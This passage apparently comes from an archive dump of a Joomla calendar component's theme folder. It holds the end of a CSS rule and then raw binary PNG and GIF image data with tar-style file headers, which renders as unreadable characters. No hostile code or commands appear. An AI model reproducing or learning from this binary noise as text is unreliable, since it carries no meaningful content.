	text-align: center;
}
.ic-feature-icon {
	float: none;
	display: inline-block;
}
com_icagenda/themes/packs/ic_rounded/images/ic_rounded_thumbnail.png000060400000017025152453734450022004 0ustar00�PNG


IHDR�ྃPLTE��������������������������������������������������������������������������������
������
�����������������������۽����������������������ð���������fdb�����������ͷ��������������������������2-.A"������H&
��������Һ�����%������0
�����񐑓���:R(
	�����������ܵ���������������zzzs9
f4
��������TUUz���۳�~�������޽����ppqMKJ[,
c�����������Ƀ��uuujkk���~@	�����������ϸ�����^^^�T	�K��ԥ����������ݗ��m�����BAAS/�����������������������vl^�����干���L776�d	����������������������Ϙ��X\c�[$�����������ű�����ń��ruї4ϋ�����ƾ�׼�̐��f�gA�s�����������ɲ��djE�;oT:eB#�J����������ǯ������Ϭ{��r�x>ȁ�����ת�ď��}sơm�?By���w��r�ko�w[ޭ?��Fm����o~��t�cXN5#$#%-%������S��1��ϛ���Ӳ�S�OP�C@v<�&�jQtRNS�0���IDATx��K�q�:��t^}L;m�I�3��5�ծ�X����&Dց����z�ޏD��� $^��W" 	qp1S�]��tU�t�M'=4��~��`(��0�㿘�3�&�&�*ƺ"h
t�
���.���R�q{�C�+��"&�]�kL�Uri������e���΅n��G��p�m�ц�!�af��S�M5�)�h�8�=���Z�yx�"?�_��yL"��oLt�פ�1JsS|����ݳF��\�qcs�a��Q
ͳF%F*Kf)
��ȬV�5�"F�Q��ڕ1�l�$ǕHC�zOL�&�v8�<:�)=;��x�9��iU|LCMg��hV[�Q�
��T��@W\�%3�ފ8aB�p�@f*�[ǡ	�<a�����$ᭇ^S%bLs�����c���? &�c�O�������S�OBt�ҋ,��e�	��B�v�ʼnR�.t J���?���b(���g<�B�)�Tl2f�l<�Ԏ�(���u-��*�j݁�4�!ƏL����3I��̰�˅=� ��'���F��&�
����7��0ǸӃ��K\\&�c���mQ�臟�J�L�����S7^t��Y�UeF���'�#��Z��5VLm�Ov<}�`�t�@9�P�cL�::�_�8:6IR�ٲ*I��(ԨTJ�B��uP�|G�|Gǩ��_C��@wL&��m�E��E�L�>���b�Mf���90,0%�	1@҃I+$�$
�3Q��m�0��@���H�Si&�D�B${x�S��bfp��̉+�j�Nh���`�l��
�4�vDz�Wc�N�g��(��I�͉W-�/��G$�zM��q8�`�
MX9�*f$�2ncZ3�g1$���`vS�3�Mڭ~ݻt���5��nbh���J^��+�8��w:��Kw�}�n�,!�"�}�>�������ǑJ@Ӹvᴽ����H�d�Ĝ������/c��Ĕ��Gr���zd:M�<�T��y~� �&�3���1g�
��.�C�6z�����߼~��ŗs�哅
L֊�ݻpI{ac�I��Ԡ^]8��܁���i�Ϭ|{�ӗoo�2mѓ۹
Ӯ�]�p�ѣ{��a�c�����b¢hdDQ�RLn����77^?yRk����+0Kco޼yO��t?u��"Q�M>|���C�[VL���F����)Ar�P�+�B�p�6�"��#���f!����eW*���@',e̔�!/�00���0Q���2#cݐ�tC{]��ѵ�*ƠA]A�1�"�Qz�YW*Mm�3eaiW���Ő���b��fԬ;�I5�6Ģ=;�0��T���1�z(a������@�:���@�c,@��`����}'b��ޣ���;�'�8�$W�$EY)��q��۝_�_u�cC�#�LJ 8�t1bˌԾ#���H�g��ɦt�B��մ��3�(�n'x��� ��i{4��L4�z�[�ncY1L�_������R���u�U������ʎ�K�j[ӑ�֨ѩB1&ː��a3�J�2D/�`˱�sw�<�o�
�`��i���w�`ݘjI����b�gn��.�m������d����6ѩB13$5�oC���m��=te�ӎ�ܴi��}�t�E_�i��r���$Q����s�hoF�Eqw0�"�"Gx8�hŨ`ѩB19<��el�����~M̲�%1���k��ˇ��xx������/�1��v�n%q�d���J!N���N���2>,��ʘ�Нqh���룴Lc��[��%��r��'�gz��uKw���Y��t��w➃{XO2��3je�+-��ݜ#��y#�CL@�\,S�H�,U�'%GR)�|n��A�5��et;�a��}I�9�ˋ�.�������
-+~�w��������k��i��l�ܹ�&ؼ����������Rf��.	f8�Ӗ�����I1�����r�����kb޳o��-Eq���ޫڮ�j��v�v�Z���Vo����܅�zϣ
o5��(Z�z|@�LH��B��L�D��$�l$B��o���v�6����{��Ͳd���<7�l�g?Q|�СB��>��UGY��q
97��QI�_�BQЀ�Ny�W���`�H;'�4 ��Y�aĎѣy1�s/��SY�%���ک���n��Z�X�
/�/�e��g[{O�JBLR@b��k]�q����ŗ
��(�\,#I�ћ��:������9��99rs���o��i3Y�|�J���ŀ�`5]��O)�|�(%E)ZK�
�����3m���'��Aߐ�5 �e�RI�R�5C.�$r�wbZ�/�����K0�;shs����'�7i�"`Z_CRR��Vdh53��4̈�L����	1Ņ�n���7��b�:g�L�Q��˷�֊�����c���&_#�m��v��'f,ʼn����HOM��!DY]��Z���1�$���Q�7��~)T��(�d9$41m瘞�,�o����H�����F��{}%Fܽ��z�/p�����^�s""-�\��5=��!S���d/���h�F��,x�b.0Ѩ#Ⱦ�#�]PG̍*m1i�����=�?��C3V���tJ�%�Cf�d��Ĉ:i$����&]��6�ru� ,1�X��(�ni�1(�=�=V�F��0��	��-a�`�����c�6��$/᪴#��W!S�73��5��t�����6�vj֒rZ�~��1�YH�n)�R�)�!c��W���D�b�F��� %�����z�{1��ׯ�?p���V�:(;p�`�I����
9:�>v��Q�&�'
��s~�0�0n7Ƕč��8�^^�z������]���w,D���2�4f�2�}��E��=�A#G�&�!F͖9������]k
�i�E}e}y��÷ʯ�/٭9�zwQ��!fŢ���z���jK/8�2�JWb�k��j���C����>�c#$E��-�-E���"�Xl�N��C�`2ZF`-�HZ&�� F��8J*j+���P�}۵�ൗ�5�dz7Ѥ(�'0��/!���IB�q1ڋj=��">�����a��'���g2�w�w��Lb�؎��t�_�"&�ǖq����q3������]E�ՙj5���dBF ��+ςT�� ��I��g5�K^�J�/��0��pCֽi��;u���r�98��<��3ćd�)p�������HU*Z%���t51A_(���
��ʅ+��+�%o>_����4---���6o�}��u������I�ٽMc�̋��±8]M�J��}�P(����憐/RQQ��DJ!b0�y�e:�yﮇ���>b2[br�otM1��H$����?�𴤹�IusIImm�۷��h�3>�`=�)p��̙�4dS�t�Ri�~�R�ӳ'���t11���ʊ������/^TUW���_45���o+K#�	18���#���"h���>{�b��F!���Ma�k�<e�������	�b1�Ws�zH\G�2���`C��q���}}����˚WUU�lt�_9���z�yV.�h��E�XD���+n��MӋƠ+\���ɓ���G��	8���Y���zt����
����%Rw�9�~]SSS��?=��9b�@���J��TNnIK�Z	�@�SVƼ�@�8��	�7����H@�i��o�]c��'�x�Pb�J]hT���
�Kd�0�E�?1][ð1G�����^B���	�ŀ'DZ,ˁ�x�D"����n��[ᵀX`��"�_�g\�M��3@���@�2�/`&�>]Ļ��-��:��i{�sz�_CӦ�Be���-�Ԥ
PS��An�l4P
4����9��%8�3$N&3��,�xɲ��Ƨ��x��A}��)޶�I"гn���sx"��wΡ�~AIu�%�]����[�}Pab��/��ř3��l�����(��݃T*���G��c�Q�������΢S�Vy�S$�ɂ{#��"���o1��?d�xk'������41��2/*}R_�GŹqa��B�q$��An"��O�P%`�ԥ�>��'�s���	>�ࡿ���k�1��O��:O_�xw��;c���\{��!�ᮞ��[�W	�bD"|�[��8�7��{n�ڛ� &��j��*����Ĉdz�NT/��n��w��Z���u��`q'N�%1=
#��L�\�HDl���v1,z|``��Й,V�Y�:��@'����`������u����!h؛��!�"����KO����H`��M\��s7�{�)���$�Oz���p��)����
�)L<q�	���:|*�̃�yr�#�F�Ѿ\��1<�[ls��^U'7Ru,&���{9ӌneUU���mb��.4;��Y7y�5�Em��#�-�3X�k�\V����&�1HƎsl������'c9M�:��)bF1��F9 :���`�@/�S�,��%��\�X��Bh��E�2q�@���V}+�p�箙R<؍	ϒ||�)�R��:�����&@41p�K�(d�;���,08�r�A�'ޝ��t�V���u�'�aol�	��2�%�*�l��ҧ4����cj�{������`k5:�Ψ�!������$��"
0 ��hT@�A{�1\|&V��4�����*��A{?���j���R����1))?�`�Mp�PL%�����*N��(�7F'eT�:�.���+M����,��em�HE�=l"`����T��6'"��`�c5�O*�kS�h�?yt���/*L��q�8^��Y�Y..������o<
k�D���
iC��(r�ayS�L1�Cs
�B�DF��1��G���c�� ȫ�gmT#�g���Z+�� �Z�0hjlR7"M�)���E��� �Ā�I��H��u�^/`q��A����g�\�����]�P���g��˫���j"���;�!�$Fg���D��7T�Y,��!�W$����7�����7��k�H� F}����Ϭ>�zYM���t:C��*3T]��W��e�I���)L���b>1W>�t坪�+O�@́��垦�/

���b
�bP��o���Y���F�A_]-��+E^mS
V�m� ۊ"f��1��k�1C^d$T�젖s��5�c���,�� ��J�T�`�pjq�B)Cx��?XG=�'��"���n��>����ǣ4R�r��PM)]�8���M���e	�
ftZ�Ki�q�M���Q����t�t�rMR�0��#�y$
B�R(�b�	��T�
��E���j4��Dd�2'�\1<w�$�*J��@�	a�P,��KQ�/8�NB�GT��`V5Wh�.�r�0^�M��rI�Hf08r���DC��n�26�u�W��#��n��ժQ�yH���עih�j�l.S�d������L&S���
u�[ &7�\���Zр+�錷��[��َ��01��5.��n�#a�%d��SQ�#bq�C��h	�;��iOZ��q���rn�[���x�=m�'���8���813����E''-�P������ڽ�p�sD�a�^|y�Cx��<��@C3Th��m��f���#���3рev2d��<�h8�4�,����i'!�ǿ�0\�hȟT��э��T�8�����fXa�z�[�Z~��o�&]&�QdU$)�w2��v5k08d:��U���T�ϥ�ł;��.�O��h��#.��IgS�t�:�6���|b߲o���xX�j��>c�{�3�f�D����Xq��aG*J:f�
�:g��@ 0�%��5E�8�F�I�۵��̹��XT���=���T��:����d�8U(��
K�IǤ)�p,���S���tv2�z
,Y&�7ɕ��H�Q=+J
,r�v���
�Z#0V�)K]�ݙ�B�]��n�XI���ܮR�A1����&�kc���vf�g���;SFqKS�<����v�7π�� m��_��c���`C�a����3�X���pEc��L���.��2Y���5Ua(��<��(��V������̙��`!�q(����X,�y3y��#d
gӅ@Ę/�7��l�a�M<H�f��+�r�Sa���&ft�%:�ٜ��M
.�#Z�F<�Hqs)�lzl�K��C:k���]�̈�s&�͓tE��%{O�EjBu��qZab�6~��7�Yx�L�챨���i�bg7��9�g�K��^c�#v�w�F�_O�������7�Vk<
&�ȴlE��5�NN����̜-�}�^�[Y���~u)��T��\�ͳg�^~X�*��c4qlD
{Ҷi9��B,�9l��XUR!����3��`�[C[;[[[[[���������&R���+���0��=�ߐt���ѫ�`�/�$���H]XW���k)�;6:�"��:�ȑ@k�1�������Cش��'x�)���)I�P�a0`6!��FXH[͈�jFx@1�;;�o���u�cm��F��޾�m�*�!�=�bh7���unw���[�]}�z}����B�
�R�+��w;_�>���_~�;�?}����/����$����S_~��Ĺ[[��`d�����Z&�����WL{��篼ue}�y6��'u]��H�*+¨zpk�ë�!��>H�Q+��IEND�B`�com_icagenda/themes/packs/ic_rounded/images/info.png000060400000006532152453734450016562 0ustar00�PNG


IHDR�a	pHYs��~�
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F�IDATx�\��KAƿ���q/p6..ANl�\�W���)$1�6iS�S�����
i��H{&\#�*��������Kq�z������}�{#"t:! �Dnj1��,�Z�sa���s���-%I�5����a&�R�3���9�Ƙ�EQ<7�|��]�$T��건�$�,��[�D��s�<���,�~�Z-AD�"�R�T�1c8�888���!�0ƀ1!�V����fι) ��-��:�1*�h4�R
P� ����¦s��k!wΡRE...������:�9�D�v+[��z�eY��nc{{{B��Wj�kZ렚RJ����RJ<�9��A
������PM��־g�9)������8�@D(���EQ|3�LƘ�,�&�
k-�8FEh6�X^^�������s����$�K��1+++H��~kkk��
�ã�p8$"0"���������0���Z0���y�L&V)�A)u��9���TAU��n��1.G�Ѥ,KW����`p��v7=�;會1������t~~�D�^�������a�,�suu���z����޶�f6�@��=�^u&`�0�.�`�nt�IEND�B`�com_icagenda/themes/packs/ic_rounded/images/ic_load.gif000060400000061373152453734450017206 0ustar00GIF89a@@����DBD���$"$���dbd������TRT���424���trt���
���LJL���,*,���ljl������\Z\���<:<���|z|������DFD���$&$���dfd������TVT���464���tvt�����LNL���,.,���lnl������\^\���<><���|~|���!�NETSCAPE2.0!�	?,@@���pH,��Z�b�ǨtJ�.<���?��J._�,l�E��56ۇ��go�pCrt/�awe%|kkZm�^�b�����Q"0�0�~o�Bs�����G
0�k�ln]P_`���7��>�������a��/����/���ɣ�̻�φ��7�(ڲ�}�߼֚�/�7w>(ٱsG+�X�0�EL!iт�@���
P�bg�2Q(TT�A僴i��p₵*0d�c,Pj�BȜ��sY
�i�
�25�)�B�Vb|�����T�H:�fG���AW�j��TغiW�	�1W��^Υ��[5f��C��B��=��������GXe���H~a�7rd�2[`�r����A�A�t_ɀC���sl؟w�"����}E�}
���68���u�m�`.�B��vD߀(	
�g��]��㣯H�C�u
׭׾�>ʅ��`x?<p~^�BR� ߀+DH^T� �%0(��F��
<�
��h�yXix��� ^�
4R`b�2�����;h@#4I�:�3,��;�@$
DVICI��O:	#�I���eY�
Or��U��&�Y�kr��M����M�9��Dl0���:y&�����#�2p����^�A�B,��B:�Ld�i��i��.��^
+�p����+�#lP�<p,<��=�+�#p@�FK�<@��$����#��Ԇ[�S���ù�l�CT[���k�7tЃ���	��� �l/�=l �����

�Ё��;�C�2l��-�|��2:DK�0K�@�'4`s���t�(�r�2����ls�%clD.�Po��TP��G'��\*��
�-�
���X]Ck��@˵�u�P+�����%�m��G�O�}7�*�P�a/4P��}~�ʝh6�wk@�:��rv\PA��9��E1@݇k������ܚA9�^��D^�S�`7�sn����d<0@)�{���7�T$�y�w��	X�@���#��@
)܎{���v|��{�}���HA�V�� 1H@�w�8Pw���>��Ůs&�`�l�?���@�D�	L���7����D,�<
�����C���(T��@�Q�0�0��
�o�.�C��p��{���r�$�_�p��0#�"
��0-H�ai`1���aI��TQ��ָ�8l�6!E8�*ZQ���^����:�!#�C�����$ut���X�;y��`)J������k�V0JN!�	?,@@���pH,��F���! �c
�.Ǭv�]���
����3���W��B�0<j6�A�1/p�E	(�ux�QQeh�����?4(���{d~����p
�����b��i��o$8���uuya��g��C�E!88���wy�}��D��λҿ�Ž�{{���?��ͪ&��ׯ��|�r�R�Ň3E#!�a5k�0ȂA�����j�y���(����	��7��@��>H�f���0�G͚�$��`�S���\���i�X�xvS$�;���gՓC�وʵ�Ȝb�5Ҁ�]�hS�H���ۯa��t�v�EKc@_#9��,8��40���P����;��� �k�?I�����)�Y���v#��"u�.���E��U��w���-����s��7L�����/�K������]�߂����1����+�G\z����7��,  u�Ex„��`螂5�<���^p~�ĉM,���G<@�	��!�"����0��c�7� ��6�A:f����	*��S��1:���#J@�6�ve'hɥ�"���"�9��E\���s� A�^�)Bhpq�;l ��[*`�wJ ��}
�'�����v*J������vz�
�**�2�PA�Bp�j���0j������`���nzB����
؀��P���^0�
4���ڍy��V��X�2��*��A��0C��V���r�m�x�����ú쪠�������'���$���W>0��/[ ��:�`@�:.0�0�B4���g��I*��!ϰ�/�����~0���rEԀ��9���c~0AD
����#���&X`��-��P���	у�9��][�@�a���Q�=�!��v�9��c�B��=�Q�|���5�68PyigrA-�Bv�=�\GL��U�.D@�&��@�

t�x�P�Eq[��������W@{�۞��s��W.��>A+d.�
4PA	(?{�s~��n|�B����>d@!D�C	cG�|9(@�W��y��\����
x�������/�A6��d  ��G;ڡ�s�CD
,�:�a�~���c��� �!��Jؼ�ib���g��/�?(�8q|50_�֗����!�0�D
ְ� ̡
X���/@���#nP��ZEX�
��_�yAB��-r�	�an�C:��cQ�����o�?��l�{:A2��t����dj 3Tf�+A���`;8�&�!�	?,@@���pH,��F�&aPO`��.Ǭv�]D��0j�(��4��[p���'#"���0�F�!� 	/q�E)vv8OOPPgg0� !��
$�w�b(e}j�� ��\'$���8��d�~��0� <�G���x8�|������05�D14�Ѻ��a��������4����z��'
b�%��p�
4���oݯH��l���C�b0�ȏ_�iv�a��
"�Ȕ�c�Z
X�i2��]L��eFm�����N�<{N��⃡6,�X��"��x�d4��0��p�Xpʁ�S�]'�{n��Eݱc������x���<8h֌x$�����[hre"9x����p������2��搙�Sбe��=�6�
�u���"ApѦm�~��ɓ��a�9���?<�=dCL1�,g�]vx�������}��^;�x�^Y �����2��&_|7�pC|?<@�5aC�
2H݃7�����8����>���*~PA�0�8 'f��8>�B2�(�?�hB��u�b�^�>6�cDj��
Pi�
Ƞ@�YjYA�Y<p��d�y�[r�e���YD�p^��*���nA�	�yŸ� 蠄��'}��g�:h����
:áD,��|Z�覐j�&�p��~�����j�q������)�ڨ:�C�
q��{C
�������.�������!�����U+��&|���Pn���
�÷&`»&D@��[��P����k�&�p(�+�[�����/�4lcn~�B��[oe>0�p�/���O����۠��F��0�L��
����K�S��s�!:D輳���'-�+=1�D����L;�����`v�C/��iC���]�uF���m��TcmDp{��>���}0�x�=�3�}�4�����
�]�#0�z�-��E� 8ؚ@)�m���=�.���^�
|=xᮿB� �h+��A���{�`H�n}�C���l�C�ϼ�.����?��	ԟB40@��A5�A��-oy�{ljQ��/{�_Rp�� (�+P�|�;_�F7��š��^��Ā�H�1�AЃ,���'��1{�`�7���,�
=X@*o��_��j��-�`/�D%v0�,��7��g	A�8�
��J�Yk���o�K���>���`	j����=���&��6�O���8��u'��
�#�Q��
�ҫ�k=� `����<D!�	?,@@���pH,��N�%�p8�Hb�5nǬv�]%$$��	ŘQ
�,���S�QH�q4jN�k,)/r�E/�$�abe8i~kk0�8��
4����Od�h��0�0�\4��xa�{}���;�G=<͹4мa|������ (
�D	,,͸юzP�ؘ�� 0������w��ܭ
��z @@a�-"���(h�$��#([+n� �S������42,��DD���`��=9x�R"�~�XX��eA�@*I@�8D��ĕ�4�p(��`LM�-j)غ��ъz��aB�ž�ݢ8�ŁV�B�Jd��8!=0$d�2-Dh=\�(�Y��`�vde[�����P"F�6�B���\JH���k+fgQ������ @��#x�5B�H�&��O "�s-P��|2�c߭��w9d�W��C���'�����h�u�g�z2����€?8`߁�ɰ���h�/�<��j*(�y�a��<��C���$�p����Ԡ�*�b�X̘�����)�c�>�$d7v���|�Jf�“ZH9�`Ni��@&�;��a~	�&�)��yD�a�����9���=p����ph��2�Å��硔"jA��f�F�Czç��&�jj�ur*�|�j�!�Z�&X ��?�����zC�Z l�\�+��"{h��:�
���	P{����0ð6�`A�68�	�X[�'|���:�s�^p�	֚+Dݺ뀾$����Ko��
Q��:���'�{�' q�'�{@�6,������O,p�C��L3y�ak���� �<1,L���%�l��@0���r�9��tO~���>��0�Ft�t�J�u�'�
^G��C��J���D����5�>�|�|CL�r�Z��1���,���r?�u�G�����1p=��3~��r�-���w䒇C	t�7-,0C���ӫ��֑ONy	�P@��0���n��_���ߥ��)dP���m0����_pH
�GG`~���Z<p�=0��_��
#R����=��A
P����+�:���
@~�˞�f@�84�r���X���%�AD؀��(|�W?�-x����?r��@DX���p �X8�UH������8�!	}���`����T �CsP��p�5��	Q�@bo�{�
lr��P��G؂t�=�@U�=�a��A�(~0�
���+ʏ}B��j��(J��%�d%�7L���A?�H������n�d�7�
�l6A!�	?,@@���pH,��^ƧQ1(�B�J�nǬv�ݤ4�0�A�AIha-�,���S�pXxqJ!��8�8/r�E/<wwyzg}kk8�	��
<��,defh����((�\6<���a�g��8��(�G2Ϻ�,�c{}�����(8
�D""л�ԧdOfi$������?��碍�s*�$@�2u��
j���ܳ]��zL�<L�t��S	2(�(w�(u�d�p��G
2(�R��=�0��J�Q��.F� �E,Y�1�ϑ�"��@�
*�M��b.="�9�D,�@!���`�-b%kN����x�5kP�\q(��CE�)z��v�����
Z�Р ��G%��G��[���9Ǒ&�8v٨�	��������0@%RC��&�M����
sg{�D�",8�{��խȎ�;:
i������UxM����y�{1����
C�E�q7�4q�`�������
pN8�d�a}��[,�^�$���`��*ꀠ�0j�B�D�X�&$�����X$�7�`�	W.�#`Oj�ÔD�`��c���r]a�YP&�d���8�`�v��ߜqD�v�-������.8�
�>
鉆Z�(��~i��>�B��e���:j��@�:�/��A�� 묳R������!�0k�.�����B�Ⱦ���2�=+�ԾJ��b[��?��Ǿ����dnM�)p������$o��ޮ����/���{��+D
��p�!��'�G\�!?t�0�
���> q�S|B7��l[�7�pA��<�'�A1�P���2�1��(Gp3��	=��t��AFW�s1$�e�\�4�=�t#X}u�	$�i�^�6�.G=�8g�u
xg�s��v�M���i'�B��A�9���
�	rQ�݇��9���;������7d`xފg�C0B�e�|����N�ߴ�ޭ��z9��@�\����:�'Py(����}=�-G�,���?�w�pt�9�þ}���[w�3,����^��ph��W��U��_ЁL�+X�&��Dp���BDZZ�`x�{_� ���(�V8�	�`0�7�?�up�]춇�ȯ&�	{@����\@�dH����8@y?.�A�
UhD$N���_w��}<��_I����Gt�ic(��w��A
�@6fQ�[�)�%.��y��E��+$ah���C���(�"±�/�b��h���A�Ѓ#������'�lq��npIO!�	?,@@���pH,��A)b1�x<�A�nǬv��,��H@�r�,��I����Ӱ�$xI�,0�Y,k4
/r�E:
2
w"cP<h��44��*
���{e�hj���$5�\>*��2wx�|~������G�����b������$4�D�:������}}����$���?:���R]�f��m�(x"��6>�J0e�9�N=�g̻W���#��!�*X�Cڹi
4���"�0�p����L�O�;w�4���/
z�ʲ"��n@��C�8;,4����4.FH�s ����0��.\�EJ��?#��'�kW((�ؒ@�c���8���[����-,��ۤ��
*9!B���(b5�ƒ�۷I�0Cu�&6#F,E:8X������x]�p`c9��&D?�A���֯# @Y��3w ��#'(�G�)C|��gCv�eтu����,q���.xg�b	�f��z���x?t�(�_j��u"� #��昢3-f���Ɉ0p��>$��9z`�Y��DVy�
��e�Lzp�YPP�@�Y��e�ȁi�d�P&���Z����FTP& �	B�:�p硈�Ƨ���r�@�V@��(�)� ��SPZ*�olZ
��
(��+��Z �k���+���h��
�C85�,t�
��V�,
Ġ��������PB��&�.�	|-�Z�B즫n�D{@�֪0��	��B�)T��R�7�p(Qm/<�Bg�j�GT�������~��#dr,��&� Q�E\�1�-�P������2��C8�s�p��&����E,�3�G��¦Ng��!4�Q�`� v����Zs�R�]Bo�
m�/<���[�-�$-v��PCK�����}w�����d�-��-~�7 n�݇��E�x���g���{�@
�ONz�-�Nbe�pA���x�Y�씷��#X���;�?�3_{��C(�'\��g~7"���|�?�/q�	pB���^>�p��h���u`{H�F0�	�`�_�v@����s^���Ѐ��8�`'\�7��
� �_�n�?�at�	��P�
V����'��j.о��~#d�fp�>�.�a3x����8����P�,da����yq'!RIhB*�+�A-���P5�A���*q�X!+xA���3X`!�hE"��'���p��񌈴��ȱ��/�ẉ�2� !�	?,@@���pH,��Q-�r�2��+
Ǭv�=T<�J�(�Β�H$0e6ܸ|��xtx��	��%�<:/s�E-6�y{|g2jk�<X�s&&�:a*�
ll<�,-�\7&��xyc�Ph"����,��G6����{e~��Ǚ��<=�D
SSԻ�azfh����,��?%���D=�,J%6�b����
<|�U��4
4���)I�����=�-xj��4�����"F�	\X �)���
:�A�BD3<4i�r�.�&��tdC�J�|H�(�r��@�iSufL�s"���'�v%A��.B�U�ԅ�t>�>{`+W�$s8�%G��e��-�v�BS�K��-�
مR.:�+rA�Cĉ;w�p�C���Ê�F^8(�ysg�02 @�ܸI�����#'��{E1B<�.z�o�5��Ν;�CC&DO?��Z賜ఽ�����|�՗[
�m�A{8��qAVH�s�%���6���, �1�@a���Z�Р�~�BBP�'R�!�YX�A�2>��Đ��7�A<n1�(`�l���X"��Mj���RJ�

�p%NYIU�Fx0�o��A
8�yeL��E
pF�( `�tJg��y����pӤt�$��F��0JCPj
o`z�"�)꫰f���F�꭪�î��z�EH���P@���plu�
�í�FK@T�����ڬ@A��B@A�Vkn�\n�������P@	����z��
�,p��V��C\A	Dlȶ6 �����s�p
�K[|�r<,q
,�0@��,s��@5��r54���2p��
�Bܠ3�<7����T
�Ct���N7�B?w�B�$
Dl�t�^��˘VM61�H�_݁�p�-������^���=���>QGކw���,�deBT���E�ۈK��S�D��05�YLp8� ���w��D��/�N��=�0�!�����:� ���>��,6"�#���l���S?�\������#�z��� ���?��p��t<p���{����;O,|���
�`8��w�
^�����7��=c��n`;8�
p	^�����>�f�_�HXB�p)�	"��	N�3�!
���o� �
L����ta)�>r0?X�yXBq�d��(��-8��O{�TQ�Xl�
��E7v�,�	Ϙ�4�P�[ |�t�)>���� ]�G6�8�
��J��d⽄p�=��/��u�!�	?,@@���pH,��Y+�t�Ǔ��Ǭv�=4B��@�A5��bm+���3�,a�a�3h�h*k2
25r�E6wxbdfi�2�
%/��3��w&a|������"""
�\)�..��cegi�����'�G+����x���h����"�<=�D�SS��6�yŘ:����<�	�?5���a�*U�*aR�f�Z����!�"R�4iw
��0��	
�L�~�(r`�T�0}�!+�ȑ��HC��M\�ҟ�!��H�ů�&`ɲ��
[��T�b%�qND��4�Rw�b�`t!��r8�ؕ�n�E��٘=DX��Asr�ڽˀ��[*���RF��1C]���m@ˊ�''U
s�f"te�x4
5�|�#��͆���vܵ}���D&����ъq���m
��ɐ��o��C��n��Ϳ��YȂ��OG����0x$P��_
��P�Z�@ÀR@	qA�*� �	@aTxa�����a�-&�B#j��8�@	!QO0ˆ��5a���H��~�ӓ/��[�Y����Kfy�<	%O�Q�Y.�8����e�OB'f>��&�g&0›9���s�@�x��
-P��}�Z�F�Ph�ib A
%d��m�i`����b�B��j���<` 묲R������ݫCH���������*��� �2++5D[C�R[��Ɋ�¶�2�-T+�������p�-�Ѐ��6�n��@�拯�+�������/�(�k���+o
<�l
�C��pB-@���-\ī0X\�ɉ��q-tЁ��RP��&C6@�8����?�l1Bl�����*��?#tK?<�2�Jg�«<��%�,�I'��h3M% @�PC�d��w�=��bV��nCCx��#�3�; �m���u��C�O0�>@���v�����陏0�jk'�?�cp��c>�����*�N{첃����y�3,��	/<�?.�/��7�|��K?<Л��ϰ�ޯ���3"���W���+���">@�"�����ط?�m`�pꆀ/ �� =
